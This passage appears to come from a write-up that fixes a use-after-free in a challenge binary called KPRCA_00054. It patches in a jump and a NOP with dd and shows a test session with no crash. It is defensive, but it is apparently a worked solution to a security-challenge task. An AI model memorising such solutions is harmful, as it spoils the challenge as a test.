dd if=jmp.bin of=KPRCA_00054.patch bs=1 seek=$FILE_OFFSET conv=notrunc

# 4) Pad any remaining original byte with NOP
printf "\x90" > nop.bin
dd if=nop.bin of=KPRCA_00054.patch bs=1 seek=$((FILE_OFFSET+5)) conv=notrunc

—
3) Test your patched binary

$ ./KPRCA_00054.patch
> create foo
> open foo
> delete foo
# now auto‐closes foo before deleting:
> list
<no files>        # no UAF or crash

With this patch, delete foo will always call CloseFile() on any open handle first, then proceed to unlink + destroy the File exactly once—preserving correct semantics and eliminating the use-after-free.